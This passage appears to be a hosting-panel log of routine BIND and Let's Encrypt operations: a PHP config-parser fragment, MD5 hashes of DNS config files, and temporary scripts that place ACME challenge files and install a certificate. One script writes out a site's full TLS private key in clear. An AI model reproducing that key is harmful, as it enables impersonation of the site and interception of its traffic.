			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 16:41:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp842095; rm /tmp/pkp842095'

2026-02-02 16:41:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-03 06:00:01: Establishing a connection
2026-02-03 06:00:01: Establishing a connection
2026-02-03 06:00:02: 

PUT: /tmp/pkp234146

#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-03 06:00:08: 

chmod 755 /tmp/pkp234146; /tmp/pkp234146; rm /tmp/pkp234146

2026-02-03 06:00:08: 


1


2026-02-03 06:00:10: Establishing a connection
2026-02-03 06:00:10: 

PUT: /tmp/pkp845919

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > 7IkBL_rk0mM2NIifeZ9hLVZxauCxhm8xtM5eVoZXr8w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7IkBL_rk0mM2NIifeZ9hLVZxauCxhm8xtM5eVoZXr8w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7IkBL_rk0mM2NIifeZ9hLVZxauCxhm8xtM5eVoZXr8w
cat > WaQxOPNBa-uA4e-gkq00-wEoHkCqEKBpSnCGKaWH_KI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WaQxOPNBa-uA4e-gkq00-wEoHkCqEKBpSnCGKaWH_KI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WaQxOPNBa-uA4e-gkq00-wEoHkCqEKBpSnCGKaWH_KI


2026-02-03 06:00:11: 

chmod 755 /tmp/pkp845919; /tmp/pkp845919; rm /tmp/pkp845919

2026-02-03 06:00:11: 




2026-02-03 06:00:21: Establishing a connection
2026-02-03 06:00:21: 

PUT: /tmp/pkp949850

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm 7IkBL_rk0mM2NIifeZ9hLVZxauCxhm8xtM5eVoZXr8w
rm WaQxOPNBa-uA4e-gkq00-wEoHkCqEKBpSnCGKaWH_KI


2026-02-03 06:00:21: 

chmod 755 /tmp/pkp949850; /tmp/pkp949850; rm /tmp/pkp949850

2026-02-03 06:00:21: 




2026-02-03 06:00:21: Establishing a connection
2026-02-03 06:00:21: 

PUT: /tmp/pkp863027

#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem

cat > $temp_file <<'endmsg'
06:60:c3:70:ef:b7:fb:68:ef:73:3b:3f:78:fd:55:a5

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBlJBWect7Jf8/MKh5zaVBZbaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAzMDUwMTUwWhcNMjYwNTA0MDUwMTQ5WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMW8e6OBTyY+JVTwMGVPyqvvvtIf3oQJNj6ZzetvCKGBppC5bsklb8DdJDtJ729V
mINnlig7bqen0O9se+D9FiQ+zz1d8m5sTXXw08GAPVX3C2odTYTq8+0QecRUzG56
21Y+libClwZUTUjBf4XXgqjo8y68rORAS5colAb/DAvcKuTma4qb/DTVYOmkEIGO
EtIi6ZzpPeoHhldsby0oLuH/HeanPNDiw7PeykjeyhaKEmji7fVlhcnwMm9F78hz
lyhXC0h93zEuigPpI3yuM0TQ4ssW+qneH6mPa5rjlBF7msbKz5Hj/RXurp+JHLz4
+vNH6fMnNGz5R0r9c0PB1fUCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU+dRXLN3nDy6s9ky9x1SleVtZT9QwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGcIhZsrAAABAMARjBEAiBwFK6xyN++NXAEXxdJ3V5hNAcZykPuw9vp3Tpzhuaw
DAIgN35dpQNT07LatdOGI8B7cu96z7NJvsZYyfBDwNMiPr4AdgCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZwiFmz/AAAEAwBHMEUCIAjda14pNjxc
CoI07pRt6MTSuJoIJv+JuZ+HFJdO6e7qAiEAhEy5YGSe0t2w5xFU/jFWeW6QoyIf
0QKE0cVFP3zsmN8wDQYJKoZIhvcNAQELBQADggEBAAw47DkLPOc3rDdOvkGYqI7I
dxkAlQ1nfFuNHKRurc4umEq8tNicjej04Na0zxQSd10STYR88HjVYtOYLs91sSOn
4MIEuW/x6wXwZu/XQe0JbY9W9ZdeGVPNkFxJ8K5bQek0JutEH7AlRAHUixb70H1Z
/KMe4/D0+PBRo1mhW2T+gHaaTpzD9IXrNLVO1OUhCIWc+saYUvYw8KEupjb3IkS9
+M69D1iYhWP+XY2KMh37mQAM4T1UcD8aAe4+mOB73z5swdJuYZxXUi94Uc4sFg6U
OvvN5KXYDwvNy64SsXDl/SQNMInFWkivER2ws1QcF2+rn2GW+LtXfqSgGaLISaU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDFvHujgU8mPiVU
8DBlT8qr777SH96ECTY+mc3rbwihgaaQuW7JJW/A3SQ7Se9vVZiDZ5YoO26np9Dv
bHvg/RYkPs89XfJubE118NPBgD1V9wtqHU2E6vPtEHnEVMxuettWPpYmwpcGVE1I
wX+F14Ko6PMuvKzkQEuXKJQG/wwL3Crk5muKm/w01WDppBCBjhLSIumc6T3qB4ZX
bG8tKC7h/x3mpzzQ4sOz3spI3soWihJo4u31ZYXJ8DJvRe/Ic5coVwtIfd8xLooD
6SN8rjNE0OLLFvqp3h+pj2ua45QRe5rGys+R4/0V7q6fiRy8+PrzR+nzJzRs+UdK
/XNDwdX1AgMBAAECggEABL9zOv3EQCWoae3ADJ+YIJnAmENbTQpssfTid2MA2cWx
rgC08si0DrxLRSQP8ceyUIMyZGsFy8Zvf9Ebos9LjxXLON6bVlIzvUafH+nPTzdj
ZvFDg0vMt7RxLkV8FurMm1XrfWHD+AP+EfTD59RPLFiMBdT88KbEkP3e1AqfKAl7
SGW8S9oTsjBoMx5zV2oFeOD7scLkWwgvxXoCx0HJzH7neSVeLbH0CJNc712vQx3Z
G9I3fC2abxEfQ4PG/C89S4kA7LDxqtSvJ8bXC9tSUgu6qokbYGvS51sm2i05l8OW
+wVaY7ZK/fyUMn1VEr56rSzFyy/d8mLPZTCC8i+JQQKBgQD6KtbJ2wAitDFG5Ah1
huDEq9h2JNtKMlxNQhged8ttswtNo42HnOErgqsVVytJ2jbz/6U4sXEEpeD7eFZF
KHJcZcSC8Df6f5vq+/5eMfZKYEPgs+L/Mf495DkANZHSCj9R/Ks79z8w6O0Thexw
km4fZli0wHKUDMbwW3+uPT5A1QKBgQDKWLOFe31NdhqkuR9QGDw9q+pIzBNIka87
TqW2+8jEZBACCPVACv9oAZRrkqy83hFpkf6VFuCjjotliHDIYAinK7m+66GPqkIR
dS/JQS/QhVriplQuRBmCX4QZfqGSzDcOh+3o1uWvF2Td7LBGUGl1DZtiysUk5z6/
hdNfhjbQoQKBgHLZDeh3oRVNkj3QXE3QUQoZNnPusbnbauKREE+UgZDoHK1VA5mZ
nQoDoBVZAmeSRZ445Bol5BPVL3djJH/1dKMUmWXfcGORB/yWGY4W89HrZd4X14N+
6RBy4PRGo55A1BcIn3gVJy6GEKjg185Ke0HxE5JPs4piX0ZjSzerqBPNAoGAO+zz
FbgRzuwITfppVJ4o0Rbl5rNRjq9elxDesQd2WPtNZlzizRm0tEerfgRNVg3qWDqd
i+fflXC0xdgXlrAiP+gKNYmxKkwBDwyGn3LHx1iHJxKdYapXZ64EAEzpawFB2PLW
uZtTIHysKbFcLybHZJwoBaUJp7k4cx4eEG8+MqECgYAD3J4GgEFkcEBPnbDk8xR+
S3VkJ0JbSn0BqlfNbQqQ54N4RWkItzr6xI484VNj1GC7xOxmny9Sf7MZLqZHIxgW
nRTj+CEgFvkiPJ1b9QijhA4CkyVRNGSGiNf3BK60qgDxtJKmE+vqY9lEF0WxMTLr
CaFXY+PJjfoETD2/cVEnWg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
